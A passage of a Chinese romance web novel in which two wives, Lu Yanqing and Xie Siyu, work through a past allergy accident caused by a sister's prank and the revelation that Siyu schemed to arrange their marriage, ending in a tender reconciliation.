结果今早下楼,在客厅看到父母在两名律师的见证下签离婚协议书, 顿时整个人都懵了, 脑子更是一片空白。 这些年父母感情说不上好,但也算相敬如宾, 夫妻之间偶尔有矛盾很正常,怎么就突然要离婚呢! 她冲上去要撕掉离婚协议,是母亲出声阻止了她:「瑶瑶听话,把离婚协议放下,离婚是我和你父亲深思熟虑后的决定,你不要插手。」 内心深处像是打翻了五味瓶,难受至极, 不可思议看向母亲,才发现她还穿着昨晚的旗袍, 脸色苍白, 满身满心皆是疲惫。 最后的最后, 她只能被迫接受父母离婚的事实。 “还有半个小时登机,我给你外婆打电话说点事, 你……安分点,别再惹事了。” 周静一晚上没睡,满脸憔悴,哪怕化了妆容,眼底的疲倦也藏不住。 谢知瑶听到母亲的话抬头,瞧见她身心交瘁的模样,不着痕迹攥紧了手机,乖巧点头:“您放心吧。” 都这个时候了,她还能做什么? 几分钟后,贵宾室进来一对母女,小姑娘想尝尝母亲手里冰淇淋的味道,却被婉声拒绝:「不可以哦,你对芒果过敏,泱泱乖乖吃自己的吧。」 谢知瑶没在意,往门口看了眼,母亲打电话还未回来,耳边又传来小女孩吵闹的声音。 过敏? 突然想起来什么,眼睛亮了亮,翻找出通讯录里陆言卿的手机号,快速编辑了几条内容发送过去。 【真不明白你为什么会喜欢谢思虞那个机关算尽的女人。】 【陆言卿啊陆言卿,当年你参加学校运动会,因为误喝了花生牛奶而过敏休克,差点死掉的事情还记得吧?】 【谢思虞就是罪魁祸首!那个樱花杯是她的,哈哈哈哈——】 谢知瑶一脸幸灾乐祸,反正她要离开榕城,不能让谢思虞吃苦头,还不能恶心她吗? 那晚她偷偷往椰汁里面加入花生酱,原本就是想让谢思虞出丑,没想到得知了另外一件事。 也挺有意思的。 陆氏集团。 陆言卿看到短信内容时,谢思虞还在14楼人力资源总监的办公室里。 沈砚清坐在办公椅上,隔着一张办公桌,对面谢思虞穿着白色立领荷叶边衬衫,搭配修身的牛仔裤,柔顺的长发披肩,珍珠耳坠衬得她温婉又端庄。 饶是看过无数次,还是会被谢思虞的容貌惊艳。 “谢明远和周静离婚,她带着谢知瑶出国不是挺好的吗?” 怎么还愁眉苦脸的? 多年朋友,哪怕她不刻意打听,也知道谢思虞和谢家那几人关系不好。 “不是因为他们。” 谢思虞再次叹息,一想到谢知瑶那个愚蠢的家伙,她就头疼。 换做平时,她自是不怕的,可就是因为她做了“见不得人”的事情,害怕陆言卿知道真相后要跟她离婚。 越是在意,才会患得患失。 沈砚清眨眨眼,扫了眼紧闭的办公室门,不确定问:“那是因为陆总?” 就算集团有人事调动,也是她去32楼汇报工作,今天谢思虞却主动下来找她。 签字后不离开,一副心事重重的模样。 这就很不正常。 “我隐瞒了她一些事情,不知道该怎么说……” 谢思虞话还没有说完,文件夹上方手机锁屏弹出两条消息,下意识解锁,看到微信置顶一栏陆言卿发来的文字,霎那间怔在原地。 【我高二那年过敏,偷偷来医院看我的人是阿虞?】 陆言卿怎会知道当年的事!! 谢思虞瞳孔震惊,心跳骤然加快,整个人被恐慌和不安支配,抓起手机大步流星往办公室门口跑去。 “发生什么事了?你……” 谢思虞慌乱中碰倒桌上的玻璃杯,沈砚清错愕不已,急忙扶起杯子,拿开文件夹,又抽了四五张纸巾去擦拭桌面上的水渍。 然她话音未落,办公室门已经被撞得来回晃荡。 办公室哪里还有谢思虞的影子? 电梯里。 谢思虞攥着手机的手指节发白,电梯镜面映出她苍白的脸色,耳朵上的珍珠耳坠,还是今早陆言卿亲手为她戴上的。 电梯正在上行,18、19、20……眼看着要抵达32层,谢思虞突然冲过去按亮一排数字。 最后在29层停下,电梯门打开的瞬间,她步履蹒跚逃离了电梯。 安全通道里。 光线比较暗,寂静的空间里暂时没有外人来,谢思虞背靠墙壁,弯腰曲背,双手撑着膝盖。 不知何时,已然泪流满面。 “对不起,我不是故意的。” 真的不是故意的。 虽然那件事过去很多年,但谢思虞还是记得很清楚,那年她高三,就读榕城一高,而陆言卿是六中的高二的学生。 相差两岁,两所学校相距甚远,谢家是豪门,也够不上首富陆家。 原本她们一生都不会有交集。 那天她和同班同学唐雨参加市里举办的数学竞赛,请了一天假,下午三点结束竞赛后她打算去看望外婆。 唐雨答应了妹妹要去看她跳高比赛,又害怕一个人,于是拉着她一起。 六中是私立学校,平时学生进出都需要刷校卡,因为当天举办运动会,外校学生进入只需要登记姓名即可。 好巧不巧,她刚登记完姓名从门卫室出来就看到谢知瑶。 是的,谢知瑶就读六中,因为成绩吊车尾,周静有意培养女儿走艺术那条路。 看到她之后,谢知瑶也愣了下,挽着同学的手臂,装模作样上前打招呼,知道她们要去操场看比赛,还十分贴心接过她书包,专程带她们过去。 当着唐雨的面,她没有拒绝。 一路上有好几人同行,也就没有看到谢知瑶的“小动作”。 半个小时后。 她坐在操场观礼台上看比赛,打开饮水杯盖子,才恍然发觉杯子不是她的。 「高二三班的班长在吗!你们班陆言卿出事了,陈老师叫你立刻去学校南门——」 「听说是误喝了花生牛奶,过敏休克了,我刚远远看了眼,陆言卿脸和脖子上都是密密麻麻的红疹。」 「过敏?也太不小心了吧,她不知道自己对花生过敏?」 「好像是拿错了别人的水杯。」 事情闹的比较大,观礼台很多同学都在议论,谢思虞并没有放在心上,在人群中寻找唐雨的身影,直到拿错水杯几个字眼钻进耳朵里。 她宛遭雷击,整个人僵坐在原地,脚边的樱花杯变得刺眼起来,恍惚片刻拿起杯子就往台下走。 等她火急火燎赶到学校南门,就看到一名女同学被几名医护人员抬上救护车。 慌乱不安时肩膀被身后人拍了拍,是唐雨。 “思虞你跑这么快做什么?我叫你好几声都没有反应。” 谢思虞十分牵强地扯了扯嘴角:“抱歉,我想先回去了。” 回家路上她还在自我安慰,观礼台上那么多人,那位姓陆的同学也不一定是拿了她的饮水杯。 深夜11点,她下楼喝水,无意间听到谢知瑶和朋友通话:「爸爸根本不喜欢她,就算我捉弄她又怎么样?今晚在饭桌上,她不是也没敢把我往她杯子里加花生牛奶的事情说出来吗?」 那一刻,她好像被一盆凉水从头浇到脚,双腿宛如灌铅似的,无法挪动半步。 那位女同学真的误拿了她的饮水杯! 那她现在还好吗? 过敏严不严重? 有没有脱离危险? 谢思虞冷静下来后返回卧室,换下睡衣,从抽屉里拿了零钱就往外跑,但很快她又返回来,把所有的钱都装进了书包里。 幸好唐雨的妹妹知道陆言卿下午被送往了哪家医院。 等她赶到华康私立医院时已经是凌晨12:30分。 急诊大楼。 二楼重症监护室外,陆言卿的父母都守在那里,她只能躲在拐角处偷偷看。 那晚,她在医院待到天亮。 大清早从打扫卫生的阿姨口中得知“真相”,昨天陆言卿被送来医院抢救,中途医生还让家属签过病危通知书。 差一点,差一点女孩就没能醒来。 一宿没回家。 谢明远在门口堵到她,因为谢知瑶的恶作剧,她险些间接害死一个女孩,这件事她原封不动告知了父亲。 他得知对方是陆家千金后,震惊又害怕,担心被陆家报复。 严声厉色警告她不许再去医院,让她把这件事烂在肚子里。 可她如何能当一切都没发生? 偏偏父亲用外婆威胁她,表示她再去医院,就要停掉外婆所有的医疗费用。 寄人篱下的她,还是一名高中生,就连道歉她都不敢当着陆言卿的面。 而是给她写了一封道歉信。 事到如今她都不确定,当初陆言卿有没有看到那封信。 “阿虞,我并不怪你。” “我看到你写的道歉信了。” 就在谢思虞陷入回忆愧疚自责时,安全通道的门被人推开,她被陆言卿轻轻揽入怀里。 第69章 卿卿真的不怪我吗? 时间回到半个小时前。 陆言卿看到手机里几条匿名短信时也怔愣了几秒, 思绪被拉回十年前。 当年陆家还不是榕城的首富,陆氏集团也刚上市不久,祖父雷霆万钧的手腕暗地里得罪了不少人。 所以当她在学校“意外”喝了花生牛奶, 导致过敏休克后,引起了全家人的高度重视。 尤其是祖父。 他陷入深深的自责之中,以为是商场上的劲敌, 背地里对他疼爱孙女下手了。 住院期间,祖父更是安排了保镖24小时保护她的安全。 其实她觉得祖父有点草木皆兵了, 没准儿就是普通的意外。 运动会当天,操场观礼台上不仅有六中的学生,也有外校的。 她去洗手间时, 饮水杯交给钟晚意拿着, 回到观礼台扫了一圈,在台阶上看到熟悉的樱花杯, 正好又空着两个位置,自然就以为是自己的杯子。 结果“水”喝进嘴巴里,就意识到不对劲了,蹙眉要吐掉的,后面一排有两名女同学打闹,不小心撞到她。 她踉跄两步站稳身子,嘴里的花生牛奶被她咽了下去。 完全是本能的反应。 咽下去的花生牛奶量很少, 顶多就是皮肤有点痒,吃过敏药就会好。 但是她忽略了一件事。 剧烈运动会加剧过敏反应, 800米决赛, 围绕塑胶跑道跑3圈半, 当她跑完第一圈就发觉呼吸越来越困难,还出现头晕的情况。 立刻慢了下来。 在不影响其他参赛选手的情况下, 她退到跑道内。 钟晚意和同班同学察觉到她的异样,急忙上前扶着她。 “卿卿你没事吧?脸和脖子好像是起红疹了,我送你去医务室看看。” “应该是过敏,钟晚意你带她去医务室,我去告诉裁判员。” “怎么会过敏呢!我……卿卿——” 然而不等钟晚意送她去学校医务室,她就两眼一黑晕了过去,随即耳畔响起好友的惊呼声。 再次醒来是在医院的重症监护室。 陆言卿睁开眼睛,耳边是心电监护仪滴滴的声响,脸上戴着氧气面罩,父亲穿着一次性隔离衣坐在病床边。 他的手掌裹着她输液的手,拇指无意识摩挲她手背的医用胶布。 “醒了?” 陆弘深的嗓音沙哑至极,好似砂纸擦过铁门,他熬夜整宿,眼底带着血丝,握着女儿的手都在隐隐颤抖,“醒了就好,醒了就好。” “爸,我……” 陆言卿张嘴说话,喉咙因红肿,吞咽口水都疼,眉头蹙起,还想说什么,被一旁的父亲阻止,“先别说话,你好好休息。” 站起身侧过去,陆弘深差点没忍住哭出来,天知道昨天签病危通知书他是怎样的心情。 感受到衣袖被人轻轻扯了扯,他整理好情绪回头:“爸没事,你妈还在外面,我去通知她你醒了。” 醒来没有看到母亲,她也没有问,直到父亲说母亲也守在外面,或许是因为重症监护室一次只能允许一个家属探望。 那一刻说不上情绪。 但总归心里是暖的。 第二天下午她转到普通病房。 祖父祖母,二叔二婶一家都来医院探望,也是听医生科普,才明白剧烈运动会加速血液循环,导致过敏原更快扩散,加重症状。 至于手术过程中她有器官出现衰竭症状,医生让家属签病危通知书,这些事都是从妹妹陆言薇口中得知。 表姐沈凝比她大9岁,在六中担任数学老师,目前教的班级也有她们高二三班。 第三天晚上她来医院,看她的眼神很复杂,有疼惜,也有无奈:“你拿错饮水杯这事确实是意外,当天的监控视频我反复看了几遍,那位女同学也算受害者。” 在医院病床上躺了3天,陆言卿被母亲监督着,什么事也做不了,无聊透顶。 表姐语重心长的话令她疑惑:“姐你去看运动会当天的监控了?什么女同学?” 沈凝目光分外凝肃:“陆爷爷没有告诉你吗?” 她以为陆言卿知情才会透露的,没想到她竟然一点不知情。 只能捡能说的说。 简而言之就是陆爷爷认为表妹过敏这事是人为,而非意外。 “拿错饮水杯就是意外啊,爷爷怎么……还调查起来了呢?” 陆言卿得知这件事错愕了好半晌,表姐离开后她特意给祖父打电话,让他老人家别瞎折腾。 拿错杯子,她自己也有很大责任。 明知道自己对花生过敏,误喝花生牛奶后,没有及时吃过敏药。 再加上缺乏常识,又去参加800米决赛,才导致过敏加重。 总之发生这一切。 怪不到旁人。 「事情调查清楚了,那女娃娃确实不是故意的,难不成你爷爷还能胡搅蛮缠?」 「你安心养病就行。」 得到祖父的承诺,陆言卿也松了口气,总不能因为她的无心之举,让旁人遭受无妄之灾。 住院5天。 陆言卿总算可以出院了,原本父母商量好下午3点来接她,上午表姐没课来了医院,顺便给她带来了学习委员的随堂笔记。 “姐,你开车来的吧?要不你送我回去?” 沈凝也知晓表妹今天出院,便没有拒绝:“也行。” 陆言卿只带了贵重物品离开,病房里其他东西有人会收拾,当她和表姐要进入电梯时,护士站有护士追出来:“陆同学稍等,有人让我把这封信转交给你。” 陆言卿:“???” 翻看手中的信纸,很快便看完了上面三百字左右的内容。 “字写的很不错。” 耳畔响起表姐揶揄的声音,陆言卿有点不自然地摸了摸鼻尖。 这是一封道歉信。 字里行间都是深深的愧疚和抱歉,因为不得已的原因不方便当面道歉,希望得到她的原谅。 并且在最后祝愿她今后一切顺遂。 “姐你稍等下。” 想了想,陆言卿拿着信纸来到护士站,问其中一名小姐姐借用了纸和笔。 「无需愧疚,这件事我也有责任,如果你实在抱歉难安,那我原谅你了。」 “如果对方再来医院,麻烦你转交给她。” 如果没来就算了。 可惜那时她并不知道,因为陆家“大张旗鼓”调查此事,事情传到谢明远耳朵里,他惴惴不安好几日。 专程派人监视谢思虞,她根本没机会再去医院。 自然没有看到那张纸。 2个月后谢思虞高考结束,谢明远确定陆家不会追究,也不再找人监视女儿。 但因为妻子明里暗里的挑唆,他还是让女儿报考了北方的大学。 这件事对陆言卿而言,只是一件很小很小的事情,她甚至都没有见过那女生的面,时间稍长便抛在了脑后。 办公室的门被推开。 陆言卿思绪回笼,抬眸看去,进来的人并不是谢思虞,而是助理魏洁。 【沈总监,阿虞还在你办公室?】 魏洁给她送资料进来,陆言卿捏了捏眉心,解锁屏幕给谢思虞打电话,对方一直没接,她只好在微信上询问沈砚清。 【没有啊,她二十分钟前就离开了,没回32层?】 陆言卿眉头紧拧,脑海里突然浮现那晚在谢家谢思虞哭的绝望又无助的模样,心口一缩,让魏洁联系监控室,很快那边传来消息,说谢思虞去了29楼。 “卿卿,对不起——” “要是我当初没去六中,你也不会遇到危险。” 谢思虞被陆言卿搂抱着,她也抬起手臂用力回抱住对方,埋在她肩头,眼眶里泪水根本控制不住,决堤而下。 很快将陆言卿的衬衫打湿一片。 那段时间她常常做噩梦。 有时候梦到陆言卿因为过敏性休克失去了生命,没能从手术台上下来。 有时候梦到陆言卿满脸红疹来质问她,为什么要害她! “阿虞会这样说,肯定没有看到我的回信。” 陆言卿满脸心疼,爱怜地亲了亲妻子的侧脸,其实这种事在现实生活中不算罕见。 旁人因为自己的无心之举受到伤害。 谢思虞会耿耿于怀这么多年,每每想起来就愧疚难安,辗转失眠。 无一不说明她是个善良纯真的姑娘。 谢思虞不明所以:“什么回信?” 陆言卿露出一副“果然如此”的表情,小心翼翼擦拭掉谢思虞眼角的泪水,又低头亲昵地蹭了蹭她地鼻尖,柔声细语解释:“你让护士转交给我的道歉信,我看到了,也回复了你。” 谢思虞深呼吸两次,嗓音微哑:“谢明远找人监视我,更不许我去医院。” 就连那封道歉信,都是她拜托唐雨送到华康医院的。 陆言卿见谢思虞眼睛红红的,心疼得不行,此时听到又是谢明远“从中作梗”,眼底露出一抹厌恶来:“他真是——不配做一个父亲。” “卿卿真的不怪我吗?” “我差点害死你。” 谢思虞握住陆言卿的手,抬眸看着她,眼睛眨了又眨,内心忐忑。 其实她也明白,陆言卿是温柔识大体的豪门千金,过敏转危为安,她不会怪罪她,也不会把这样的小事放在心里。 可她会在意。 有些事,没那么容易过去。 至少对她而言。 没那么容易过去。 陆言卿垂眸对上谢思虞眼中的忐忑不安,似乎能明白她的心情了。 换位思考,她要是间接伤害了别人,道了歉却不知晓那人是否原谅自己,定然也会辗转难安。 “这样说吧,因为我拿错了阿虞的饮水杯,喝了里面的花生牛奶,导致过敏遇到危险。” 安全通道里有正方形的窗户,光线不算亮也不算暗,陆言卿牵着谢思虞的手,迈开脚步往上走。 准备徒步走上32层。 “虽然抢救过程很凶险,但最后虚惊一场,我并没有大碍。这事我也有自责,所以我不怪任何人。” 说到这里陆言卿停顿下来,歪头看向身侧的人,轻轻捏了捏谢思虞的指尖,继续娓娓道来:“相反,如果我真的出事,那我的家人一定会追究到底。” “不管阿虞是不是无心,你都有直接或间接的责任,不仅是你,还有谢家都要承受我祖父的怒火。” 一句话就是,没出事什么都好说,一旦她出事,别说谢思虞和谢家,就是学校门卫室放她们进去的保安,包括学校举办运动会,都要承担这样或那样的责任。 这就是人之常情。 谢思虞垂下眼眸,再次陷入沉思,陆言卿的话很客观,也是事实。 “阿虞,我不怪你,这是真心话。” 来到31层的楼梯平台,陆言卿注意到谢思虞微蹙的眉心,侧过身把人拉进怀里。 右手轻抚上她的脸颊,指腹揉了揉她的眉心,轻声说:“阿虞没必要因为没发生的事愧疚,明白吗?” 谢思虞似乎被说服了,重重地吐出一口浊气,脸上露出一抹浅浅的笑容,反手握住陆言卿的手,目光灼灼:“嗯,我明白卿卿的意思了。” 也不会再钻牛角尖。 “明白就好。” 陆言卿目光温柔,声音也透着前所未有的柔情,“阿虞跟我说说之后的事情吧,祖父答应过我不会为难……你,谢明远为什么要监视你呢?” 几分钟后。 陆言卿牵着谢思虞回到32层,秘书部江晓晓见谢思虞眼睛红肿着,明显是哭过。 顿时一副天塌下来的表情。 要知道她当秘书三年了,从未见过谢思虞哭过。 拿起手机要给朋友聊八卦,消息发出去还是撤回来了。 算了,老板们的八卦不是她能聊的。 总裁办公室。 陆言卿进屋就关门,牵着谢思虞来到休息区,两人在沙发上坐下来。 “卿卿,我还有一件事想告诉你。” 谢思虞喉咙发紧,一颗心狠狠揪着,事情已经到这里,她觉得坦白算了,“当年谢明远逼迫我报考N市的大学,好在我高考成绩不错,被当地一所名校录取。” 陆言卿翻找出包里的化妆包递给谢思虞,她刚刚哭过,脸上妆容虽然没有花,但下午要见客户。 “N市A大吗?” “嗯,除了砚清,我还有一个关系不错的朋友,她叫温月怡。” “温月怡?N市房地产大亨温建安的独生女?” 第70章 你要跟我离婚吗? 谢思虞轻轻点头, 她和温月怡不是一个系的学生,她们身份差距大,如果不是因为一场误会, 根本不可能成为朋友。 半个小时后。 陆言卿听完谢思虞的“坦白”,面上还算镇定,可心底却是惊涛骇浪, 看着眼前的妻子,目光也越发的晦暗凝重。 深呼吸几次, 开口嗓音又低又哑:“阿虞,我可能需要静静。” 谢思虞攥紧手中的化妆包,眸光里闪过挣扎, 对不起三个字到嘴边, 千言万语最终化成了一声“好”。 起身往办公室门口走,脚下的步伐宛若千斤重, 明明只有几米远,她却感觉要跨越千山万水。 陆言卿知道她曾那般卑劣算计她的婚姻,一定会厌恶她吧? 一时间心脏隐隐抽痛。 眼泪汹涌地漫上来,鼻尖酸涩的厉害。 要是陆言卿严声厉色质问自己,她或许还能好受些,这般沉默隐忍,反倒叫她羞愧的无地自容。 啪嗒。 办公室的门关上。 陆言卿用力摁了摁两侧的太阳穴, 身体往后靠,整个人陷进柔软的沙发里。 闭上了眼睛。 怎么说呢, 就很烦躁。 原本以为“各取所需”的商业联姻, 结果最开始就是谢思虞精心编织的一张网, 而她是她的“猎物”。 【前段时间你问我,明明不喜欢谢家人, 为什么会同意谢陆两家的联姻,我说是因为欠了陆爷爷很大的人情。其实没有,我撒谎了。】 【双栖云境在N市开分店,商场选址没办法推进,项目一直搁置,是我主动找了陆爷爷。我帮他解决商场选址问题,他……答应让我跟你联姻。】 【沈阿姨最初给你选定的妻子是陶婉之,就在你找我商量“协议结婚”那段时间,陶小姐想“当面”跟你聊,却被我阻止了。】 【再后来我们领证,陶小姐就算有其他想法,也只能放弃。】 【我唯一算漏的是,卿卿突然从我的世界消失。】 确实是很大一盘棋。 饶是她有玲珑心思,也成为了谢思虞棋盘上的棋子。 按理说谢思虞只是谢家的“养女”,不受亲生父亲待见,还被继母和妹妹各种刁难。 她就算心思细腻,冰雪聪明,想要让她和祖父自愿入局,也不是一件容易的事情。 重点就在于,谢思虞有温家小姐温月怡相助。 三年前谢家面临资金链断裂的风险,需要依靠商业联姻来解决危机。 母亲希望她和陶菀之结婚,因为谢思虞暗中阻止,她没机会见到对方。 而祖父为了商城能在N市顺利推进,“卖”了谢思虞一个顺水人情。 又或者他们私下还签订了什么协议。 当年祖父用集团继承权的事情威胁她相亲,那时她又正好撞见苏蔓背叛。 偏偏谢思虞也接受她提出的协议结婚。 天时、地利、人和缺一不可。 总之多方面的因素。 她和谢思虞领证了。 生气吗? 肯定有的。 毕竟没有人喜欢被算计。 同样的,还有失望和苦涩。 陆言卿嘴唇张合,眼神一点一点沉下去,几息后又缓慢地吐出一口气。 难怪她们相互表明心迹后,谢思虞还是会患得患失。 一开始她反思是自己哪里做得不好,没有给足谢思虞安全感,才会让她担惊受怕。 原来这才是“真相”。 胸口滞涩,像压着一块大石头。 陆言卿指尖轻点屏幕,扫了眼时间,起身走向办公桌后的书柜,拿起链条包就往门口走。 她是脾气好,可不代表没有心烦意乱的时候。 “陆总,这是销售部的……” 办公室门口,魏洁还未敲门,就见陆言卿出来,拿着手机和包包,明显是要离开。 “事情紧急就让谢副总先处理,不着急就放我办公桌上,等我回来再说。” 陆言卿把链条包斜挎在肩上,余光瞥了眼副总办公室紧闭的大门,简单叮嘱魏洁两句就转身离开。 谢思虞听到动静打开门,正好看到陆言卿进入电梯的背影,同一时间,屋内放在办公桌上的手机响起了提示音。 “额,陆总怎么走了?” 江晓晓怀里抱着文件夹,下意识看向墙壁上的时钟,距离午饭时间还有55分钟。 魏洁也有点不明所以,今天周六,要处理的工作并不多,但下午两点意家副食的李总要来集团汇报工作。 谢思虞怔愣几秒回神,开口嗓音很轻:“需要签字的文件拿到我办公室吧。” 「我出去透透气,辛苦你下午和李总开会。」 「不要胡思乱想,我只是需要一点时间。」 谢思虞回到办公桌前坐下,看到微信上陆言卿发给她的信息,内心深处翻涌着苦涩。 「卿卿,你会跟我离婚吗?」 突然间后悔盖过一切情绪。 谢思虞低垂着头,卷翘的长睫轻颤,在眼睑处投下一小块阴影。 脸色不算很难看,但也说不上好。 魏洁和江晓晓对视一眼,十分默契把文件放下就退出了办公室。 谢思虞大拇指在屏幕上轻点,编辑了文字,然指尖一直悬停在发送按钮上方,迟迟没有勇气摁下去。 最终还是把内容删除了。 好不容易平复下去的情绪再次分崩离析,豆大的泪水砸落下来,止都止不住。 她埋在臂弯里小声抽泣,绝望又无助,好似遗失了全世界最珍贵的心爱之物。 沈砚清下楼去车里拿U盘,正好看到陆言卿驱车离开地下停车库。 直觉不太好。 结果上楼就看到谢思虞哭泣的一幕,顿时急了:“到底发生什么事了?陆言卿欺负你了?” 进入办公室沈砚清就把办公室的门反锁,顺便把百叶窗关上了。 没有外人在场,她直呼陆言卿的名字,也懒得维持高冷寡言的形象。 来到谢思虞身边,递给她两张纸巾。 “她没有欺负我。” 谢思虞努力克制着失控的情绪,如鲠在喉,又不知道该怎么跟好友解释这一切。 “我只是怕她不要我了。” 沈砚清后背瞬间僵直。 也愣住了。 什么叫怕陆言卿不要她了? 红唇动了动,较为委婉的问:“能跟我说说吗?” 另一边。 陆言卿开车驶离陆氏集团,心情烦闷又不知道去哪里,Blue Note清吧这个时间还未营业。 突然想起什么,在下个路口左转,决定前往滨海别墅区。 等红灯时,她给沈姨打了电话。 12:15分。 陆言卿抵达滨海别墅,看到有几人从院子里出来,是沈姨怕时间来不及,专程叫了保洁公司的人员过来打扰卫生。 “言卿小姐还没有吃饭吧?想吃点什么,沈姨给你做。” 沈姨名叫沈淑,是母亲娘家那边的远房亲戚,沈姨丈夫去世的早,独自抚养女儿,母亲有心帮忙,才留她在陆家帮佣。 如今年纪大了,再加上沈姨的家就在滨海新区,这才安排她定期打扰别墅的卫生。 陆言卿没有把车开进院子,就停放在路边,瞧见沈姨两鬓的白发,不想给她添麻烦:“我待会儿就离开,不在别墅过夜。” 沈淑今年60岁,岁数是大了,察言观色还是会的,这个时间点陆言卿突然过来滨海,肯定是心情不好。 当然了,她没有多嘴。 领着陆言卿进入别墅,笑眯眯的说:“那我给你煮一碗面条。” 身为陆家大小姐,陆言卿什么山珍海味没吃过? 如今心情烦闷,就算是满汉全席她也没有胃口,想了想就做她最拿手的酸汤肉末面。 “好。” 陆言卿换下高跟鞋,把车钥匙和链条包放在玄关的鞋柜上方,“麻烦沈姨。” 别墅有3层。 陆言卿来到2楼卧室,房间靠海是一整面落地窗玻璃。 脱掉拖鞋踩在质地柔软且蓬松的地毯上,打开窗户。 落地窗的纱帘被海风掀起,看向一望无际的大海,忽然想起那晚她带谢思虞来海边散心。 还有妻子因为苏蔓接听她电话后而胡乱猜忌。 【如果有下次,我希望是阿虞向我走来。】 【至少要勇敢一些。】 【阿虞可以再肆无忌惮一点。】 她们确定爱恋关系以来,她一直在慢慢引导谢思虞,感情中遇到问题,要及时沟通。 不能放任猜忌和揣测。 否则再深爱的两人都会渐行渐远。 今天谢思虞会主动跟她解释——这场联姻背后的算计。 她很欣慰。 只是一时难以接受。 需要时间消化。 下午3点。 陆言卿还在赶回集团的路上,而谢思虞已经拨通了董欣悦的电话,表示今天没办法去工作室试穿婚纱。 “言卿姐,你和思虞姐今天没时间的话,那可能要等下个礼拜了,明天我要去G市出差。” “当然如果你们不介意,随时可以去工作室试穿,我其他几位小伙伴,她们都挺专业的。” 距离公司还有十分钟路程,陆言卿在路口等红灯,点开董欣悦发来的语音。 先是茫然地眨眨眼,反应过来后气笑了。 应该是谢思虞拒绝了董欣悦稍后去试穿婚纱。 十五分钟后。 电梯抵达32层楼,陆言卿径直朝着副总办公室走去,那泠冽的脸色可把茶水间出来的江晓晓吓的不轻。 生怕两位老板吵起来。 “卿卿?” 谢思虞坐在办公桌前,面前台式电脑开着,她正在修改离婚协议上的内容。 陆言卿突然推门进来,且还是一副很生气的模样,她愣是忘记了反应,也忘记了退出word文档。 “离婚协议?” “呵,谢思虞你真的是——很行。” 70-80 第71章 她喜欢把她弄哭 “难道卿卿还想跟我继续这段婚姻?你不是很生气吗?” 谢思虞面对陆言卿的怒火, 眼神慌乱又无措。 离婚,其实是最糟糕的结果,可她没有脸, 也没有资格请求她的原谅。 陆言卿气笑了,唇角勾起一抹讪笑,握住谢思虞的手腕, 低头用力咬了口她的手背,气急败坏道:“发生这种事, 难道我不应该生气吗!” “你应该做的是绞尽脑汁想办法哄我开心,而不是要跟我离婚!谢思虞,我现在才是真的生气, 也很失望。” 因为你轻而易举就将我放弃了。 陆言卿眼尾浸染上湿意, 说话声音也越来越小,尾音透着说不出的艰涩, 慢慢松开谢思虞的手腕,眼底是藏不住的伤心和难过。 在海滨别墅天台吹风,眺望远处一碧如尘的大海。 回忆和谢思虞相处的点滴,哪怕时间仅有几个月,她必须承认一件事,那就是她很喜欢她。 尽管得知了“真相”。 她生气归生气,却从未想过要跟谢思虞分开。 可这人倒好。 不仅拒绝了下午的试穿婚纱, 甚至开始准备离婚协议书。 转身背对着谢思虞,陆言卿压抑的厉害, 心脏好像被撕扯一般, 很疼, 很疼。 “三年前你千方百计要跟我结婚,现在又想离开我, 谢思虞,你把我当成什么?挥之即来,招之即去的小丑吗?” 沙哑又酸涩的嗓音钻进耳朵里,一字一句宛如重锤,重重地砸落在谢思虞心尖上。 她错愕地瞪大眼睛,足足愣了好几秒,恍然明白陆言卿话里的意思,急忙追上去,从后面抱住她。 慌不择路解释:“没有,卿卿我从未那样想过,我不想跟你离婚,我想做你的妻子。” “只是你上午那般平静的离开,我很害怕,害怕你不要我,害怕你看我的眼神充满了厌恶,与其被你讨厌,不如我主动提出离婚……” 陆言卿缄默不语。 任由谢思虞抱着她,一动也不动,然而那颗心却揪疼的厉害。 谢思虞慌了神,也方寸大乱,绕到陆言卿前面,双手捧着她的脸颊,踮起脚尖覆上她的唇瓣。 她哪里舍得跟她分开? 带着哭腔的嗓音响起:“卿卿对不起,我知道错了,你不要不说话,不要不搭理我。” 陆言卿眼眶绯红,强撑着没流泪,把头转向另一边,冷着脸躲开谢思虞的亲吻。 换做平时,妻子主动亲她,她别提多高兴。 可今天不一样。 撒娇不管用。 双手扣住谢思虞的肩膀,把人推离怀抱,垂眸撞进她泪眼婆娑的眸子里,心也跟着颤了颤。 每次都是这样。 只要她一哭,她就缴械投降,拿她一点办法都没有。 暗骂自己没出息。 “卿卿?” 谢思虞被推开也不恼,脸上露出温柔又明媚的笑容来,再次上前踮起脚尖,凑到陆言卿唇边亲了亲,“原谅我好不好?我保证不会有下一次。” 陆言卿轻哼。 但这次她站着没躲,乖乖由妻子亲啄她的唇。 冷不丁问了句:“里面休息室有没有监控?” 话题一转,谢思虞跟不上陆言卿的思路,还是点点头,回答:“没有。” 办公室有监控,里面休息室是私人空间,并没有贵重的物品,就没有安装监控摄像。 陆言卿瞥了眼落地窗外的天色,拿出链条包里的手机给魏洁打电话,顺便攥住了谢思虞的手腕。 “今天你们提前下班,通知楼下前台,不许任何人上32楼来。” 陆言卿交代完提前下班的事情,把手机和包包随手扔在办公桌上,牵着妻子往休息室走。 随着休息室门砰的一声合上,再加上陆言卿问监控,让员工提前下班,谢思虞还有什么不明白的呢? 瞬间耳尖就变的绯红。 “阿虞很怕?” 陆言卿关上门就把谢思虞搂进怀里,力道重的像要把她揉进骨血里。 谢思虞羞赧地眨眨眼,长而卷翘的睫羽上还挂着晶莹的泪珠,后背抵着门板,凉意隔着衬衫布料渗进来,身前却是陆言卿温热软绵的身躯。 颤抖的指尖抓住对方的衣摆:“卿卿,我……” “怕才能长记性。” 陆言卿打断怀里的人,眼中光芒晦暗深邃,唇瓣带着焦躁的温度碾上来,齿尖惩罚性地咬住她的下唇。 又在尝到熟悉的茉莉花茶香气时放轻了力道。 那是她回来得知谢思虞有胃病,不许她再喝咖啡,专程给她买了花茶和果茶。 “卿卿……” 谢思虞刚溢出半声呢喃就被更深的吻封住呼吸,稍稍仰头承受着陆言卿的“怒火”。 她不应该有离婚的念头,垂在身侧的双手把人抱的更紧了些。 陆言卿察觉到妻子的分心,懊恼的将人往怀里压了压,鼻尖蹭过她耳后敏感处:“这时候还能走神?” 温热的吐息烫得谢思虞忍不住瑟缩,搭在陆言卿腰后的手指无意识揪紧了她连衣裙的腰带,嗓音娇媚:“我没有。” 这个细微的依赖动作让陆言卿眼底的温怒荡然无存,温柔又爱怜地含住她耳垂。 厮磨半晌。 很快又凑过去亲吻谢思虞的唇瓣,亲的又重又深,吮吸声在寂静的房间格外清晰。 交错的鼻息在咫尺间缠绕,谢思虞心跳不稳,仰起脸主动去追着那片温软:“很喜欢卿卿,不想分开,更不想离婚。” 